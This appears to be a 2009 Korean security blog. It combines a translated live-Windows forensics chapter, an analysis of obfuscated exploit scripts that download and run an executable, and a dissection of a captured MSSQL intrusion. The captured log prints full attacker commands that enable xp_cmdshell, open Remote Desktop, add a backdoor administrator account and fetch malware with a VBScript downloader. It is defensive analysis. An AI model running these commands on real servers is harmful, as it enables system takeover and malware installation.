0x01 malware forensics2009. 9. 2. 17:22


8. Non-Volatile Data Collection from a Live Windows System

보통 분석자들은 라이브 시스템의 하드디스크에 있는 파일에 접근하지 않는다. 왜냐하면 저장된 데이터들이 변경될 수 있기 때문이다. 하지만 상황에 따라서 라이브 시스템의 파일이나 레지스트리가 필요한 경우도 있다. 어떤 경우에는 많은 양의 비휘발성 데이터들이 모든것을 보호하기 위해서 그것들을 실행 불가능하게 만들지도 모른다. 분석자들은 테라바이트의 문서나 다른 데이터를 가지고 있는 서버의 포렌식 복사본을 만드는 것이 악성코드 사고와 얼마나 연관성이 있는지 확인한 후에 복사본을 만들것인지 말것인지 결정해야 한다.

여러대의 컴퓨터를 분석하는 경우 분석자들은 모든 컴퓨터의 복사본을 만드는 것이 필요한지 아닌지를 결정해야 한다. 대신 대부분의 위험함 시스템의 복사본을 만드는 것을 결정해야 하고 감염되었을 것으로 보이는 다른 시스템에서 충분한 정보를 획득해야 한다. 그리고 법정에서 그 사건들을 증명해야 한다.


9. Forensic Duplication of Storage Media on a Live Windows System

고가용성(HA) 서버와 꺼져서는 안되는 다른 시스템을 가지고 있다면 컴퓨터가 동작하는 있는 동안에 전체 시스템에 대한 복사본을 만드는 것은 가능하다. 비슷하게 라이브 시스템의 메모리 정보를 수집하기 위해 시스템에 연결된 스토리지 미디어에 복사본을 저장할 수도 있다. 예를 들어 다음 명령어는 하드디스크의 내용을 이동식 미디어에 파일로 저장한다. 그리고 무결성 검사를 위해 MD5 해쉬값을 만들고 수집과정에 대한 로그를 남긴다.


D:/IR> dd.exe if=\\.\PhysicalDrive0 of="E:\images\host1-diskimage-20090309.dd" conv=sync,noerror --md5sum --verifymd5= --md5out="E:\images\host1-diskimage-20090309.dd.md5" --log="E:\images\host1-diskimage-20090309.dd_audit.log"


처리량에 따라 로컬 네트워크에 있는 다른 시스템으로 복사본을 저장하는 것이 이동식 저장 장치에 저장하는 것보다 빠르다. 또는 SMB 공유를 통해 netcat 명령으로 원격 컴퓨터에 저장할 수도 있다. 하드디스크 내용을 원격 시스템에 복사본을 만들 수 있는 원격 포렌식 툴로는 다음과 같은 툴이 있다.

EnCase Enterprise : http://www.guidancesoftware.com/products/ee_index.aspx
OnlineDFS : http://www.onlinedfs.com/
LiveWire : https://www.wetstonetech.com/cgi/shop.cgi?view,14
ProDiscoverIR : http://www.techpathways.com/ProDiscoverIR.htm

아쉽게도 전부 상용입니다. 그 중에서도 EnCase가 가장 유명하죠..미국방성에서 쓴다던가...
EnCase 구버전은 암흑세계를 통해 구할실 수 있을 겁니다. 다른건 안찾아봐서...


10. Forensic Preservation of Select Data on a Live Windows System

윈도우 시스템에서 일반적으로 악성코드의 설치와 명령에 대한 정보를 가지고 있는 부분이 있다. 이런 부분에서 증거들을 찾아나가는 것은 다음에 예제로 제공될 것이다. 이번 섹션에서 언급하는 보호 기법은 포괄적이고 철저하지 않을 것이다(??) 그러나 악성코드와 연관이 있는 확실한 기초 증거를 제공할 것이다.
(해석이 좀 애매합니다...양해를...)

해쉬 분석이나 키워드 검색과 같은 좀 더 폭넓은 포렌식 분석이 필요한 경우에 분석자들은 포렌식 이미지상에서 작업을 수행한다(Chapter 4에서 언급)
이번장에서 언급되는 툴들은 윈도우 운영체제에서 실행되는 툴들이고 간혹 사후 분석에서도 유용하게 사용된다.

  - 보안 설정 평가
  - 호스트 파일 획득
  - Prefetch 검사
  - 자동 시작 검사
  - 로그 검사
  - 사용자 계정 검사
  - 파일 시스템 검사
  - 레지스트리 검사


10.1 Assess Security Configuration

시스템 보안이 잘 되어 있는지 아닌지를 결정하는 것은 분석자들이 호스트의 위험 레벨을 평가하는데 도움을 준다. WinUpdatesList를 통해 패치 레벨이나 윈도우 시스템의 버전 정보를 확인할 수 있고 MBSA(Microsoft Baseline Security Analyzer)를 통해 추가적인 보안 정보를 확인할 수 있다.

WinUpdatesList : http://nirsoft.net/utils/wul.html




MBSA : http://technet.microsoft.com/en-us/security/cc184924.aspx




로깅 레벨이나 접근제어리스트는 auditpol이나 dumpsec 명령을 통해서 확인할 수 있다. 만약 보안 로깅이 비활성화되어 있다면 분석자는 Security Event Log에서 보안 로그를 획득할 수 없다. 반면에 시스템이 보안 이벤트를 로깅하도록 되어 있는데 보안 이벤트 로그가 비어 있다면 로그가 다른 어딘가에 저장되어 있는지 또는 의도적으로 지워졌는지 확인해야 한다.

auditpol : http://www.dynawell.com/download/reskit/microsoft/win2000/auditpol.zip
dumpsec : http://www.systemtools.com/somarsoft/index.html


10.2 Assess Trusted Host Relationships

신뢰할 수 있는 호스트와 네트워크에 대한 정보를 가지고 있는 %windir%\system32\derivers\etc에 있는 몇몇 파일들은 다음과 같이 저장하는 것이 중요하다.


E:\>type.exe %windir%\system32\drivers\etc\hosts >> E:\Results\Hosts\hosts.log
E:\>type.exe %windir%\system32\drivers\etc\networks >> E:\Results\Hosts\networks.log
E:\>type.exe %windir%\system32\drivers\etc\lmhosts >> E:\Results\Hosts\lmhosts.log


이 파일들은 로컬에서 도메인 네임 변환에 사용된다. 즉, DNS에 질의하기 전 이 파일들에 질의하고자 하는 도메인 네임이 있는지 찾아보고 있으면 해당IP를 사용하고 없으면 DNS에게 질의를 하게 된다. hosts 파일은 IP와 호스트네임, lmhosts는 IP와 NetBIOS 이름의 매핑 정보를 가지고 있고 networks 파일은 IP 주소 범위와 네트워크 이름의 매핑 정보를 가지고 있다.

일부 악성코드들은 이 파일들에 있는 컴퓨터들을 타겟으로 번식히고 하고 어떤 악성코드들은 이 파일의 내용을 변경하기도 한다. 파일의 내용을 변경하는 이유는 백신사이트나 Microsoft 사이트 등으로의 연결을 막기 위함이다. 즉, 업데이트나 패치를 못하게 하기 위함이다.




10.3 Inspect Prefetch Files

프로그램이 실행될 떄 효율성을 높이기 위해서 윈도우는 "prefetch"라는 것을 만든다. 이것은 단어 그대로 일종의 "미리읽기"를 뜻하는데 프로그램 접근 속도를 향상시킨다. fetch는 CPU에서 사용하는 개념인데 메모리에 있는 명령어(instruction)을 읽어와서 명령을 실행하기 전 CPU 레지스터에 저장하는 과정을 의미한다.

prefetch 파일들은 %systemroot%\Prefetch에 위치해 있고 각각의 파일들은 원래 프로그램의 이름을 가지고 있다. prefetch 디렉토리에 있는 파일의 생성시간과 최근 수정 시간을 기록할 때는 다음과 같이 신뢰할 수 있는 cmd.exe 명령을 통해서 할 수 있다.


E:\>cmd.exe /C dir "%SystemRoot%\prefetch" > E:\Result\prefetch-lastmodified.txt
E:\>cmd.exe /C dir /TC "%SystemRoot%\prefetch" > E:\Result\prefetch-created.txt


prefetch 파일은 프로그램이 실행되었던 최근 시간(byte 120-128)과 프로그램이 실행된 횟수(byte 144-148)를 포함하고 있다. 이 정보들은 수동으로 확인할 수도 있고 Windows File Analyzer와 같은 툴을 사용해서 확인할 수도 있다.

Windows File Analyzer : http://www.mitec.cz/wfa.html




이런 정보를 보는 다른 방법은 MountImage Pro와 같은 툴을 이용해서 포렌식 복사본을 마운트시키고 마운트된 드라이브에서 Windows File Analyzer를 이용해서 prefetch 폴더를 읽어 들이는 것이다.(chapter 4에서 언급함) 위 그림의 가장 오른쪽에 보이는 컬럼이 파일이 실행된 횟수이다. 그러나 이 숫자는 시스템 부팅시 자동으로 실행되도록 하는 위치에서 프로그램이 자동 실행될때는 증가하지 않는다.


10.4 Inspect Auto-starting Locations

시스템이 재부팅될때 자동으로 시작되는 프로그램이 있는 곳이 몇군데 있다. 이렇게 자동으로 실행되는 위치들은 특별한 폴더나 레지스트리키, 시스템 파일 그리고 운영체제의 다른 곳에 존재한다. 자동 실행되는 위치를 확인하는 가장 효과적인 툴은 Sysinternals 패키지에 포함되어 있는 AutoRuns이다.




Ctrl+V를 누르면 해당 파일에 대한 검증을 하는데 Microsoft에서 생성한 파일이라면 Verified라는 문자가 뜰 것이고 기타 어플리케이션이나 악성코드들은 Not Verified라고 뜨게 된다. 즉, Not Verified라고 나온다고 해서 모두 의심할만한 것은 아니기 때문에 분석자가 면밀하게 살펴보아야 한다.

그리고 Nirsoft에서 개발한 StartupRun이라는 프로그램도 AutoRuns와 비슷한 결과를 보여주지만 AutoRuns의 다양한 결과와는 비교가 되지 않는다.

StartupRun : http://www.nirsoft.net/utils/strun.html


10.5 Collect Event Logs

악성코드와 관련된 사고는 이벤트 로그를 발생시킨다. 예를 들어 로그온 실패는 보안감사로그(Security Event log)에 저장되고 안티바이러스 경고 메시지는 어플리케이션감사로그(Application Event Log)에 저장된다. 이런 로그들은 Microsoft 포맷으로 저장되는데 Microsoft 포맷을 지원하지 않는 로그 분석 툴을 이용한 분석을 위해 ASCII 형태로 추출할 수 있다.

eldump 툴은 윈도우 시스템에서 이벤트 로그를 처리할 수 있고 저장된 이벤트 로그를 읽을 수 있다.

eldump : http://www.ibt.ku.dk/jesper/ELDump/default.htm


E:\>eldump -l security > E:\security-events.log
E:\>eldump -l system > E:\system-events.log
E:\>eldump -l application > E:\application-events.log


이벤트 로그를 수집하는데 사용될 수 있는 다른 툴들은 다음과 같은 것들이 있다.

dumpevt : http://www.systemtools.com/download/dumpevt.zip
dumpel : http://support.microsoft.com/kb/927229
psloglist : http://technet.microsoft.com/en-us/sysinternals/bb897544.aspx (Sysinternals 패키지에 포함되어 있다)

NTlast 명령을 이용해서 사용자 로그온, 로그오프 이벤트를 획득할 수 있다. 이 정보는 내부 사용자에 의한 악의적인 행위인 경우에 특히 유용하지만 반대로 외부 공격자에 의한 공격이나 사고라면 별 상관이 없다. 이벤트 로그 조사는 chapter 4에서 Microsoft LogParser Tool을 다루면서 좀 더 자세하게 언급하겠다.

NTlast : http://www.foundstone.com/us/resources/proddesc/ntlast.htm

보안감사로그는 시스템의 사용자나 그룹에 대한 이해가 필요하다.


Review Use Acount and Group Policy Information
분석자들은 허가되지 않은 새로운 계정이나 패스워드 없는 계정이나 관리자 그룹에 추가된 계정이 있는지 확인해야 한다. 그리고 로컬이나 도메인 레벨 관리자 그룹에 속하지 않아야 하는 사용자 계정이 있는지 확인해야 한다. net user 명령은 로컬 시스템의 모든 사용자 계정 목록을 보여준다.




하지만 이 명령어만으로는 비정상적인 사용자 계정을 찾을 수는 없다.

UserDump : http://joeware.net/freetools/tools/userdump/
GPList : http://www.ntsecurity.nu/toolbox/gplist/
GPResult : http://www.microsoft.com/windowsxp/using/setup/expert/gpresults.mspx (윈도우 기본 명령어이다)

MS에서 배포하는 userdump는 User Mode Process Dumper로 위 userdump와는 성격이 약간 다르다.


Examine the File System
파일의 특정 유형을 신속하게 조사하는 것은 악성코드 사고와 연관된 정보를 빠르게 이끌어 낼 수 있고 수집된 휘발성 데이터의 추가적인 context를 제공할 수 있다. 정확히 말하자면 파일의 특정 유형이란 숨김파일, 대체된 파일 스트림, 휴지통에 있는 파일들을 말한다. Foundstone에서 개발한 Forensic Toolkit에 있는 HFind나 SFind와 같은 프로그램은 대체된 데이터 스트림이나 일반 사용자에 의해 숨겨진 파일들의 위치를 알아내는데 사용될 수 있고 HFind를 이용해서 목록화할 수 있다. 대체된 파일 스트림의 위치를 알아내는데 사용되는 다른 툴로는 LADS, lns, steams등이 있다.

HFind, SFind : http://www.foundstone.com/us/resources/proddesc/forensic-toolkit.htm (Foundstone ForensicToolkit)
LADS : http://www.heysoft.de/nt/ep-lads.htm
lns : http://www.ntsecurity.nu/toolbox/lns/
streams : http://technet.microsoft.com/en-us/sysinternals/bb897440.aspx (Sysinternals)

휴지통에 있던 파일들의 목록은 Foundstone사의 rifuti 툴을 이용해서 INFO 파일을 통해 획득할 수 있다.

rifuti : http://www.foundstone.com/us/resources/proddesc/rifiuti.htm

하지만 휴지통 폴더를 직접 확인하는 것도 권할만한 방법이다.
악성코드 사고의 시간대를 알게 되면 macmatch.exe를 이용해서 그 기간 동안에 생성되고 수정되고 접근된 모든 파일의 메타데이터를 획득할 수 있다.


E:\>macmath C:\ -c 2009-03-30:00.00 2009-03-31:00.00


macmatch : http://www.ntsecurity.nu/toolbox/macmatch/

Microsoft LogParser Tool을 이용해서도 이런 정보를 획득할 수 있다.


Dumping and Parsing Registry Contents
원본 형태의 레지스트리 파일을 가져올 수도 있지만 이런 데이터를 ASCII 형태로 변환하는 것은 조사나 검색을 용이하게 할 수 있다.
이렇게 원본 형태의 레지스트리를 ASCII 형태로 변환하는 툴은 다음과 같은 것들이 있다.

reg.exe : 윈도우 기본 명령어
dumpreg : http://www.systemtools.com/cgi-bin/download.pl?DumpReg

그리고 전체 레지스트리 내용을 텍스트 파일로 덤핑하는 독립적으로 실행되는 특별한 공간이 있는데, 예를 들어 USBDeview라는 프로그램으로 레지스트리로부터 USB에 있는 정보들을 추출할 수 있다.

USBDeview : http://www.nirsoft.net/utils/usb_devices_view.html




과거에 어떤 USB가 연결되었었는지도 보여주고 있습니다.


Examine Web Browsing Activities
웹 브라우저 히스토리를 확인해서 어떤 경로를 통해 악성코드가 다운로드되었는지 확인할 수 있다. 이런 히스토리를 뒤져보면 파일명, URL, 컨텐츠 타입, 접근 날짜(시간), 경로 등 다양한 정보들을 확인할 수 있다. 그리고 Internet Explorer에서 쿠키 파일에 대한 정보를 확인은 galleta라는 프로그램을 통해서 확인할 수 있고 FireFox에서는 MozillaCookieView라는 프로그램을 통해서 확인할 수 있다.

galleta : http://www.foundstone.com/us/resources/proddesc/galleta.htm
MozillaCookieView : http://www.nirsoft.net/utils/mzcv.html

만약 이메일 계정이나 패스워드와 같이 웹사이트 로그인에 관련된 계정 정보들은 보호된 공간(Protected Storage)에 저장되는데 특정 프로그램을 통해서 이런 정보들을 획득할 수 있다.

Protected Storage PassView(IE) : http://www.nirsoft.net/utils/pspv.html
DumpAutocomplete(FF) : http://www.foundstone.com/us/resources/proddesc/DumpAutoComplete.htm

FireFox에서 자동 입력 및 보호된 공간의 컨텐츠는 DumpAutocomplete라는 프로그램을 사용해서 정보를 획득할 수 있다.


그외 웹 히스토리를 확인하는 프로그램은 다음과 같은 것들이 있다.

Pasco : http://www.foundstone.com/us/resources/proddesc/pasco.htm
IECacheviewer : http://www.nirsoft.net/utils/ie_cache_viewer.html
IEHistoryview : http://www.nirsoft.net/utils/iehv.html
MyLastSearch : http://www.nirsoft.net/utils/my_last_search.html
MozillaHistoryView : http://www.nirsoft.net/utils/mozilla_history_view.html
MozillaCacheView : http://www.nirsoft.net/utils/mozilla_cache_viewer.html
FavoritesView : http://www.nirsoft.net/utils/faview.html
WebHistorian : http://www.mandiant.com/software/webhistorian.htm





정말 오랜만에 Malware Forensics를 업데이트 하는 것 같습니다.
이제 Chapter 1의 마지막 Tool Suite만 남았네요..
아마도 Chapter 1에서는 Tool Suite가 가장 중요하지 않을까 생각됩니다.
앞서 보셨던 프로그램들을 패키지화해서 분석에 사용하기 용이하게 만들어야 하는거니까요..

Chapter 1의 마지막을 잘 장식할 수 있도록 노력하겠습니다. ^^









Posted by demantos
0x02 analysis2009. 9. 1. 16:03


오랜만에 악성스크립트를 몇개 만났습니다.




25일 오전 10시쯤에에 메일을 받은 녀석인데요..
LastWriteTime이 24일 저녁 10시와 25일 오전 8시쯤이군요..

전부 인코딩되어 있거나 패킹 또는 자체적인 함수를 사용해서 알아보기 힘들게 해놨습니다. -_-;;
10개의 파일 중 모체가 되는 녀석이 6.htm인데요 요녀석부터 살펴보도록 하겠습니다.


6.htm




디코딩해보면 다음과 같습니다.




전형적인 악성스크립트입니다. width와 height가 0입니다.
요즘은 width와 height는 정상적인 사이즈로 주고 visibility를 hidden으로 해서 보이지 않게 하는 경우도 있더군요..

위에 보시는것처럼 6.htm 페이지가 클라이언트에 의해 요청되면 다른 페이지들(htm, gif, js)도 연달아 요청이 됩니다.
확인결과 gif도 악성스크립트였습니다.


06014.htm




요놈은 좀 기네요...공격을 위한 스크립트가 들어있을거라 예상해봅니다.
디코딩해봤습니다.




보시는것처럼 clsid:BD96C556-65A3-11D0-983A-00C04FC29E36가 있습니다.
파일명에서 보시는것처럼 MS06-014 MS Internet Explorer(MDAC) Remote Code Excution Exploit 취약점을 공격하기 위한 스크립트입니다.


811.gif




파일명만 gif고 실체는 VBScript 입니다.
위 그림에서는 안보이지만 마지막 라인에 Execute DC(Q)라는 라인에서 문자열을 함수에 넣어서 실제 스크립트를 만들어내고 실행하고 있습니다.
실제 스크립트는 다음과 같습니다.



자바스크립트입니다.
위 악성스크립트는 milw0rm에 있는거랑 똑같네요..


Microsoft Works 7의 wkimgsrv.dll 파일에서 발생하는 취약점을 공격하는 코드입니다.
공격이 성공하면 쉘코드를 실행하게 됩니다. EvilCuteCode로 되어 있는 부분이 쉘코드입니다.


853.js



이번에도 VBScript로 되어있군요..
역시나 쉽게 알아보지 못하게 꼬아놨습니다. -_-;;
못 풀것도 없습니다. 



이제서야 본색을 드러내고 있군요... hxxp://www.cuteqq.cn/asp/calc.exe
전혀 귀엽지 않은 녀석이 cute라는 단어를 쓰고 있으니 좀 거북하군요...-_-;;

위 실행 파일을 AIG.scr로 저장하고 실행하는 것으로 보입니다.
그림에서는 짤렸지만 제일 마지막에 나오는 스크립트를 보면 Loading.......이라고 출력만 합니다.
즉, 사용자가 보기에는 로딩되고 있는가?? 라고 생각하게끔 만들고 취약점을 공격해서 실행파일을 AIG.scr로 저장하는 것이죠..
앞서 보셨던것과 동일하게 MS06-014 취약점을 공격해서 calc.exe 파일을 실행하고 있습니다.


f9.htm




이번 파일은 SWFObject가 있는 것으로 보아 플래쉬 플레이어 취약점을 공격하는 공격코드인 듯 합니다.
물론 아닐 수도 있습니다. ^^;;
일단 인코딩되어 있으니 디코딩해서 코드를 살펴봐야겠습니다.




 

f10.htm







디코딩을 두번이아 했습니다. 그런데도 아직 인코딩된 문자열들이 남아 있네요..
유니코드로 인코딩되어 있는 부분은 shellocde입니다.
위 공격스크립트는 Ourgame 'GLIEDown2.dll' ActiveX Control Remote Code Execution 취약점을 공격하는 스크립트입니다.
첫번째 줄에 나온 clsid를 보면 알 수 있습니다.


여기에 있는 스크립트와 비슷한 스트립트네요..


mpg.htm





이번엔 디코딩했던니 패킹되어 있는 녀석이군요..(참 골고루 하고 있습니다)
패킹되어 있는 녀석을 언패킹해서 코드를 볼려고 했는데 계속 illegal character라고 나오더군요..
아마도 코드를 복사하는 과정에서 오타(?)가 나서 몇 글자 빼먹었거나 추가되었을 가능성이 커 보입니다.
일단은 직접 코드를 실행해보고 결과를 확인해보도록 하겠습니다.


092.htm






092.htm 파일은 811.gif와 동일한 파일이었습니다.
다른거라고는 일부 변수명만 다를뿐 쉘코드도 동일한 쉘코드를 사용하고 있었습니다.
아마도 여기저기서 악성스크립트 모아다가 페이지를 만든거 같은데 중복된걸 깜박했나 봅니다. -_-

914.htm






이번 스크립트는 Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit 이었습니다.

http://www.milw0rm.com/exploits/5332

aces.gif




이번에도 패킹된 녀석인데 위에서 보셨던 mpg.htm과 동일하게 illegal character라고 나옵니다.
이것도 직접 실행해서 어떤 증상이 나타나는지 확인해봐야겠습니다.

 
언패킹되지 않았던 mpg.htm과 aces.gif는 모두 스크립트가 정상적으로 동작하지 않았습니다.
즉, 패킹된 데이터가 정상이 아니라는 이야기겠지요..

결국 www.cuteqq.cn/asp 에서 calc.exe를 다운 받아 실행하는 것으로 보이는데 직접 접근해 봤지만 다운로드가 안되고 있었습니다.
이게 보통 PoC 코드를 그대로 써서 PoC 코드에서 주로 시연하는 실제 계산기인지 아니면 이름만 calc.exe이고
실제 악성코드인지는 확인이 되지 않고 있습니다.



이번에도 반쪽짜리 분석이 되고 말았네요..-_-;;

오랜만에 쓴 글인데 아쉽습니다..








Posted by demantos
0xFF small talk2009. 8. 28. 12:00


벼르고 벼르다가 드디어 질러버렸습니다. ㅎㅎㅎ

다음주에나 오겠군요...

빨랑 왔으면 좋겠네요..










Posted by demantos
0x02 analysis2009. 8. 22. 15:26

악성봇 탐지하는 장비에서 남긴 pcap 파일을 보다가 예전부터 자주 나오던 형태가 있었습니다.
바로 TDS라는 녀석이데요..
위키피디아에 있는 TDS에 대한 정의를 보시면

Tabular Data Stream (TDS) is an application layer protocol, used to transfer data between a database server and a client. Initially designed and developed by Sybase Inc. for their Sybase SQL Server relational database engine in 1984, and later by Microsoft in Microsoft SQL Server.

라고 나와있습니다.

쉽게 말해서 MS-SQL Server에서 데이터베이스 서버와 클라이언트간의 데이터 전송을 위해 사용되는 프로토콜입니다.

MS에서 제공하는 TDS Protocol Spec은 파일 첨부하겠습니다. 참고하시기 바랍니다.



pcap 파일을 까보니




상당히 길더군요..
아마도 SQL Injection 공격을 하는걸로 보입니다.

좀 더 자세히 살펴보도록 하겠습니다.


가장 처음에 나오는 패킷은 TDS7/8 Login Packet이었습니다.
말 그대로 로그인 정보를 가지고 있는 패킷입니다.




로그인 정보를 전송하고 서버로부터 날라오는 Response 패킷을 보면 master를 사용하겠다는 메시지를 보내옵니다.




이후 지속적으로 서버와 클라이언트간의 데이터를 주고 받습니다. (Query Packet, Response Packet)

create procedure sp_addextendedproc
@functname nvarchar(517),
@dllname varchar(255)
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedpro

There is already an object named 'sp_addextendedproc' in the database.

EXEC sp_dropextendedproc 'xp_cmdshell'

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int


USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure  'show advanced options', 0

Changed database context to 'master'.
DBCC execution completed. If DBCC printed error messages, contact your system administrator.
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
Valid configuration options are:
......(계속 어떤 메시지가 나오는데 귀찮아서 생략합니다 -_-;;)

USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'Ole Automation Procedures',1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure  'show advanced options', 0

Changed database context to 'master'.
DBCC execution completed. If DBCC printed error messages, contact your system administrator.
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
The configuration option 'Ole Automation Procedures' does not exist, or it may be an advanced option.
Valid configuration options are:
......

USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'Ad Hoc Distributed Queries',1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure  'show advanced options', 0

Changed database context to 'master'.
DBCC execution completed. If DBCC printed error messages, contact your system administrator.
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
The configuration option 'Ad Hoc Distributed Queries' does not exist, or it may be an advanced option.
Valid configuration options are:
......

EXEC sp_dropextendedproc 'Xp_regwrite'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
dbcc addextendedproc ("sp_OACreate","odsole70.dll")

There is already an object named 'sp_OACreate' in the database.

Query: exec master..xp_cmdshell 'ver'

Microsoft Windows XP [Version 5.1.2600]

DECLARE @s int EXEC sp_oacreate [wscript.shell]
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
exec master..xp_cmdshell 'echo Windows Registry Editor Version 5.00>c:\3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>c:\3389.reg'
exec master..xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>c:\3389.reg'
exec master..xp_cmdshell 'regedit /s c:\3389.reg'
exec master..xp_cmdshell 'del c:\3389.reg'
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0

Could not find stored procedure 'master.dbo.xp_regwrite'.

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[resultcmd_cc]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table resultcmd_cc
create table resultcmd_cc([data] nvarchar(4000))
insert resultcmd_cc exec master..xp_cmdshell 'netstat -an'

select * from resultcmd_cc (Remote Procedure Call Packet)

Could not create an acceptable cursor.
The cursor was not declared.

select * from resultcmd_cc (Remote Procedure Call Packet)

 Active Connections
 Proto  Local Address          Foreign Address        State

Could not complete cursor operation because the table schema changed after the cursor was declared.

insert resultcmd_cc exec master..xp_cmdshell 'net user TsInternetUser Aa123456789 /add'
insert resultcmd_cc exec master..xp_cmdshell 'net user TsInternetUser Aa123456789'
insert resultcmd_cc exec master..xp_cmdshell 'net user TsInternetUser /active:yes'
insert resultcmd_cc exec master..xp_cmdshell 'net localgroup administrators /add TsInternetUser'

select * from resultcmd_cc (Remote Procedure Call Packet)

Could not create an acceptable cursor.
The cursor was not declared.

select * from resultcmd_cc (Remote Procedure Call Packet)

  Active Connections
 Proto  Local Address          Foreign Address        State
 TCP    0.0.0.0:7              0.0.0.0:0              LISTENING
 TCP    0.0.0.0:9              0.0.0.0:0              LISTENING
 TCP    0.0.0.0:13             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:17             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:19             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:21             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:23             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:25             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
 TCP    0.0.0.0:443            0.0.0.0:0              LISTENING
 TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1029           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1042           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:2869           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:4460           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:5000           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:5800           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:5900           0.0.0.0:0              LISTENING
 TCP    169.254.100.134:139    0.0.0.0:0              LISTENING
 TCP    169.254.100.134:1042   1232142574:1439     ESTABLISHED
 TCP    169.254.100.134:1043   0.0.0.0:0              LISTENING
 TCP    169.254.100.134:1433   123.156.76.214:1310    ESTABLISHED
 TCP    169.254.100.134:1433   123.156.76.214:1358    ESTABLISHED
 TCP    169.254.100.134:4460   123.214.25.74:61412    CLOSE_WAIT
 TCP    169.254.100.134:4460   123.214.25.74:62087    ESTABLISHED
 UDP    0.0.0.0:7              *:*                   
 UDP    0.0.0.0:9              *:*                   
 UDP    0.0.0.0:13             *:*                   
 UDP    0.0.0.0:17             *:*                   
 UDP    0.0.0.0:19             *:*                   
 UDP    0.0.0.0:135            *:*                   
 UDP    0.0.0.0:161            *:*                   
 UDP    0.0.0.0:445            *:*                   
 UDP    0.0.0.0:500            *:*                   
 UDP    0.0.0.0:1028           *:*                   
 UDP    0.0.0.0:1030           *:*                   
 UDP    0.0.0.0:1434           *:*                   
 UDP    0.0.0.0:3456           *:*                   
 UDP    127.0.0.1:1041         *:*                   
 UDP    127.0.0.1:1900         *:*                   
 UDP    169.254.100.134:137    *:*                   
 UDP    169.254.100.134:138    *:*                   
 UDP    169.254.100.135:1900   *:*                   

The command complete successfully
The command complete successfully
The command complete successfully
The command complete successfully

DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out
EXEC sp_oamethod @s,[run], NULL, [net user TsInternetUser Aa123456789 /add]
EXEC sp_oamethod @s,[run], NULL, [net localgroup administrators /add TsInternetUser]

Column1

Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\dnary.mdb','select shell("net user TsInt

Expr1000

insert resultcmd_cc exec master..xp_cmdshell '@echo Str=Array(97,108,61,76,67,97,115,101,40,87,83,99,114,105,112,116,46,65,114,103,117,109,101,110,116,115,40,49,41,41,13,10,116,101,61,76,67,97,115,101,40,87,83,99,114,105

insert resultcmd_cc exec master..xp_cmdshell '@echo Function Num2Str(Str):For I=0 To UBound(Str):Num2Str=Num2Str ^& Chr(Str(I)):Next:End Function>>c:\fuck.vbs'

insert resultcmd_cc exec master..xp_cmdshell '@echo Execute Num2Str(Str)>>c:\fuck.vbs'

insert resultcmd_cc exec master..xp_cmdshell 'cscript c:\fuck.vbs http://figure.5read.com/win.exe c:\e.exe , 0 , true'



TDS Query Packet에 대한 응답으로 TDS Response Packet이 서버로부터 클라이언트로 전송됩니다.
클라이언트에게 특별하게 메시지를 보여줄 수 있는 상황이 아니면 다음과 같은 TDS Response를 볼 수 있습니다.




즉, exec sp_dropextendedproc'xp_regwrite'와 같은 명령은 결과가 특정 문자열로 출력되지 않기 때문에 위에 보시는 것처럼
상태만 알려주고 끝나게 됩니다.

그럼 우리에게 특정 결과를 문자열로 보여줄때는 어떤 모습인지 살펴보겠습니다.




보시는 것처럼 TDS7+ Results라는 토큰이 있으며 바로 아래쪽엔 앞서 봤던 Done In Proc 토큰이 있습니다.
그리고 그 아래 Unknown Token Type 부분에 명령에 의해 리턴된 문자열이 들어 있습니다.




Unknown Token Type이라는 토큰의 내용을 보시면 Microsoft에서 Mi 라는 글자가 짤린걸 보실 수 있습니다.
